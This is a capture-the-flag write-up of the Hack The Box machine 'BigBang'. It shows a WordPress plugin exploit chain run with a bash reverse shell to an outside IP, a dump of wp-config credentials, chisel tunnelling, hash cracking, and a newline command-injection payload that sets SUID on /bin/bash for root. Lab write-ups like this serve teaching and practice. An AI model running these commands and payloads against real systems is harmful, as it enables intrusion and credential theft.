Hackthebox: BigBang

Foued SAIDI Lv4

Overview

BigBang is a hard-difficulty machine from Hack The Box dealing initially with a buddyforms 2.7.7 WordPress plugin that is vulnerable to a chain of CVE-2024-2961 that is a Buffer Overflow in linux’s GLIBC library function iconv and CVE-2023–26326 that is a buddyForms unauthenticated insecure deserialization issue. This will grant us shell access to the system we’re we’ll be exfiltrating credentials first from WordPress config files and later from a grafana database file. We’ll finally abuse an API endpoint that’s vulnerable to command injection after thoroughly analysing an Android Application.

BigBang-info-card
BigBang-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

PS C:\Users\0xkujen> nmap -A -Pn 10.10.11.52
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-29 10:34 W. Central Africa Standard Time
Nmap scan report for 10.129.50.39
Host is up (0.17s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.40 seconds

We can see that we only have our typical ssh 22 port and an http 80 port redirecting us towards http://blog.bigbang.htb/ so we’ll add an entry for that in our /etc/hosts file.

Web Application - http://blog.bigbang.htb/

Nothing special about the web app at first glance:

Web Application
Web Application

But looking at Wappalyze we can see it’s built on top of WordPress. So let’s scan for plugins we might get something interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://blog.bigbang.htb
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blog.bigbang.htb/ [10.10.11.52]
[+] Started: Wed Apr 30 18:57:53 2025

Interesting Finding(s):

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>

[+] WordPress theme in use: twentytwentyfour
| Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.3
| [!] Directory listing is enabled
| Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2025-02-27T23:01:00.000Z
| [!] The version is out of date, the latest version is 2.8.17
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

We can see we have a bunch of plugins, one interesting one is buddyForms version 2.7.7. Doing a quick research I could find this CVE-2024-2961 vulnerability which is a CNEXT PHP file-read to RCE. But that alone is not enough, we gotta combine it with this Insecute Deserialization vulnerability CVE-2023-26326 in order for it to work.
And we could also find this nice PoC for it.

We can simply run this to get a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\Users\0xkujen> python3 cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' "bash -c 'bash -i >& /dev/tcp/10.10.16.29/9001 0>&1'"
[*] Potential heaps: 0x7fd668400040, 0x7fd668200040, 0x7fd666e00040, 0x7fd664800040, 0x7fd664600040, 0x7fd663200040
(using last one)
HEAP address: 0x7fd668400040
LIBC address: 0x7fd66b19f000
Sending exploit...
PATH:
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.L1.L1|dechunk|convert.icon
v.L1.L1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.L1.L1/resource=data:te
xt/plain;base64,e3vXt++xmQBbwLrXJlPWbrvKzXgyJe3aziYDZ8XtJ9RWyxiYn7ANElHv/pPDVNLg80OuY71H9NtlMS3bV4ky4AUNmjqnBcN3xi7tC917
NC57ZrQKOwt+HQlCp4uOhOaFr0wOzd94PeqZ2ElGRvw6ZhzZJFM49Xboq4ir0W+2TtvpWuRAwAqt76ndq6+svrJx1VZ7xn390X+NKj9/fLvtemr86383vn3v
//vz4/1f7pN7vn7/UrvvaMeT5wRc0PB/l3tvXNy2wGNZd5Pqr/zd+Xb7738V2/fXvznfX722ds+1v3d36cv/+1MVt//q/jj5k9t58Jv3/8Tfz18ZPv1+/prx
yXf/5K8rj/3b877//bfj3vLnd91/VRf/7fduu8o9t+XXX999/+vTt3/r6veqvf4X9Dsi/nvp37+Pbv+LWOd/e1/Mnx3xk5/f31tae+7v4brqmPU1d+Rfb210
n29//d/286+/7ps5p+bH4yeFvnnX6+y+ndn+7vq5/OSi2qJ4u/02dncN/vUrT5pvTsDnmTqnxcJXgmIre8rMv78++0+U4cevhaHtc0eP6eKtctFTPF0u1Y8q
HlU8qpjOihte6m495rN9d8/uWtnUTqGThgTMnnEvKPtMye7TO25fD5ymMVGGmcrGXwvavsOrd33mbf2ddzXyH/3+dJZ//58ILxcLPgI6L0e9AhY/H01zfy91
q0wWfGhBQL1P9sromKXHrm95O13qaa/rkXwA

EXPLOIT SUCCESS

PS C:\Users\0xkujen>

And we are in:

1
2
3
4
5
6
7
8
9
10
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.29] from (UNKNOWN) [10.10.11.52] 50590
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$

Lateral Movement - Database Credentials exfiltration

Looking for database we files, we find our usual wp-config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
www-data@8e3a72b5e980:/var/www/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'wp_password' );

/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY', 'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY', ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY', 'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT', '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT', '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT', 't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );

/**#@-*/

/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Which contains the credentials for wp_user (wp_user:wp_password) user which we can use the credentials for to port forward the mysql service (port 3306) and access it through our attacker machine. First let’s use chisel to forward the port 3306 to our attacker machine:
On our attacker machine:

1
2
3
4
5
.\chisel.exe server --reverse --port 9000
2025/04/30 20:34:53 server: Reverse tunnelling enabled
2025/04/30 20:34:53 server: Fingerprint 8PpEy0wTBndi3s68hgcLV15phmlm4UuuYe83zsk1JhE=
2025/04/30 20:34:53 server: Listening on http://0.0.0.0:9000
2025/04/30 20:35:24 server: session#1: tun: proxy#R:3306=>172.17.0.1:3306: Listening

And on the victim machine:

1
2
3
4
www-data@8e3a72b5e980:/tmp$ ./chisel client 10.10.16.29:9000 R:3306:172.17.0.1:3306
<isel client 10.10.16.29:9000 R:3306:172.17.0.1:3306
2025/04/30 19:35:06 client: Connecting to ws://10.10.16.29:9000
2025/04/30 19:35:11 client: Connected (Latency 330.862016ms)

We can now use Mysql Workbench to connect using those credentials:

MySQL Connection
MySQL Connection

We can now execute the following commands to get the shawking user hash:

MySQL Connection
MySQL Connection

Later we attempt to crack the hash using JohnTheRipper:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ john --format=phpass -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
quantumphysics (?)
1g 0:00:02:33 DONE (2025-01-31 20:05) 0.006532g/s 29099p/s 29099c/s 29099C/s quarashi33..quanteka
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.

We can now use that to ssh into the box and claim our user flag:

1
2
3
4
5
shawking@bigbang:~$ id
uid=1001(shawking) gid=1001(shawking) groups=1001(shawking)
shawking@bigbang:~$ cat user.txt
843380241da5d7490f87e3c709fbbbb2
shawking@bigbang:~$

Lateral Movement to developer - Grafana Database Exfiltration

Now looking at /opt directory we find an interesting data folder containing a grafana.db database file:

1
2
3
4
-bash-5.1$ id
uid=1001(shawking) gid=1001(shawking) groups=1001(shawking)
-bash-5.1$ ls
csv grafana.db pdf plugins png

We can transfer that out to our attacker machine via scp and check it out:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
  ┌──(kali㉿kali)-[~]
└─$ scp [email protected]:/opt/data/grafana.db .
[email protected]'s password:
grafana.db 100% 980KB 267.1KB/s 00:03

┌──(kali㉿kali)-[~]
└─$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 729, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 729

┌──(kali㉿kali)-[~]
└─$ sqlite3 grafana.db
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables;
Error: unknown command or invalid arguments: "tables;". Enter ".help" for help
sqlite> .tables
alert library_element_connection
alert_configuration login_attempt
alert_configuration_history migration_log
alert_image ngalert_configuration
alert_instance org
alert_notification org_user
alert_notification_state permission
alert_rule playlist
alert_rule_tag playlist_item
alert_rule_version plugin_setting
annotation preferences
annotation_tag provenance_type
anon_device query_history
api_key query_history_star
builtin_role quota
cache_data role
cloud_migration secrets
cloud_migration_run seed_assignment
correlation server_lock
dashboard session
dashboard_acl short_url
dashboard_provisioning signing_key
dashboard_public sso_setting
dashboard_snapshot star
dashboard_tag tag
dashboard_version team
data_keys team_member
data_source team_role
entity_event temp_user
file test_data
file_meta user
folder user_auth
kv_store user_auth_token
library_element user_role
sqlite> select * from user
...> ;
1|0|admin|admin@localhost||441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf|CgJll8Bmss||1|1|0||2024-06-05 16:14:51|2024-06-05 16:16:02|0|2024-06-05 16:16:02|0|0|
2|0|developer|[email protected]|George Hubble|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv|0Whk1JNfa3||1|0|0||2024-06-05 16:17:32|2025-01-20 16:27:39|0|2025-01-20 16:27:19|0|0|ednvnl5nqhse8d 100% 980KB 24.3KB/s 00:40

We can see we have a few of hashes, we can crack developer‘s hash using Hashcat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
┌──(kali㉿kali)-[~]
└─$ hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 4800H with Radeon Graphics, 2212/4489 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb...G42WA=
Time.Started.....: Fri Jan 31 20:28:03 2025 (4 secs)
Time.Estimated...: Fri Jan 31 20:28:07 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1694 H/s (7.22ms) @ Accel:256 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 7168/14344385 (0.05%)
Rejected.........: 0/7168 (0.00%)
Restore.Point....: 6144/14344385 (0.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:9984-9999
Candidate.Engine.: Device Generator
Candidates.#1....: horoscope -> emoemo
Hardware.Mon.#1..: Util: 92%

Started: Fri Jan 31 20:27:43 2025
Stopped: Fri Jan 31 20:28:09 2025

developer:bigbang

1
2
3
4
5
-bash-5.1$ su developer
Password:
bash-5.1$ id
uid=1002(developer) gid=1002(developer) groups=1002(developer)
bash-5.1$

Privilege Escalation to root - command injection in Android App

Checking developer’s home directory, we can find an android folder with a satellite-app.apk:

1
2
3
4
bash-5.1$ pwd
/home/developer/android
bash-5.1$ ls
satellite-app.apk

We can transfer that to our machine and open it with jadx:

Android Application
Android Application

We can see from the code that we have two endpoints: /login and /command, /command is vulnerable to command injection through malicious input inside the output_file parameter:

Android Application
Android Application

Android Application
Android Application

Therefore we can craft a script that maliciously modifies our /bin/bash binary by adding the SUID bit to it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests as s
import json

r = s.post("http://127.0.0.1:9090/login", json={
"username": "developer",
"password": "bigbang"
})
print(r.text)
token = r.json()["access_token"]
r = s.post("http://127.0.0.1:9090/command", headers={
"Authorization": "Bearer " + token
}, json={
"command": "send_image",
"output_file": "/tmp/privesc\n sudo chmod 4777 /bin/bash"
})
print(r.text)

Now we just have to execute it and then take our root access:

1
2
3
4
5
6
7
8
9
10
11
12
bash-5.1$ python3 privesc.py
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0NjA5MDIyNiwianRpIjoiNTk1NWMxN2YtY2NjMi00N2IzLWFmODUtM2Y3MTY0NDI1NjVkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0NjA5MDIyNiwiY3NyZiI6IjI3OWU0MDRiLTc2ZTktNDBmMy05NTA2LWNjNTBlMzcwZDRmMiIsImV4cCI6MTc0NjA5MzgyNn0.RHZwPJtfIc_Pv0ZvQQZ4pY0ERb4ILrzE44hb1OGLpm4"}

{"error":"Error reading image file: [Errno 2] No such file or directory: '/tmp/privesc\\n sudo chmod 4777 /bin/bash'"}

bash-5.1$ ls -al /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14 2024 /bin/bash
bash-5.1$ bash -p
bash-5.1# id
uid=1002(developer) gid=1002(developer) euid=0(root) groups=1002(developer)
bash-5.1# cat /root/root.txt
d1f908f36f5d09229ab692f15794d763

And that was it for BigBang, hope you learned something new!

-0xkujen

  • Title: Hackthebox: BigBang
  • Author: Foued SAIDI
  • Created at : 2025-04-30 19:45:32
  • Updated at : 2025-05-01 10:16:48
  • Link: https://kujen5.github.io/2025/04/30/Hackthebox-BigBang/
  • License: This work is licensed under CC BY-NC-SA 4.0.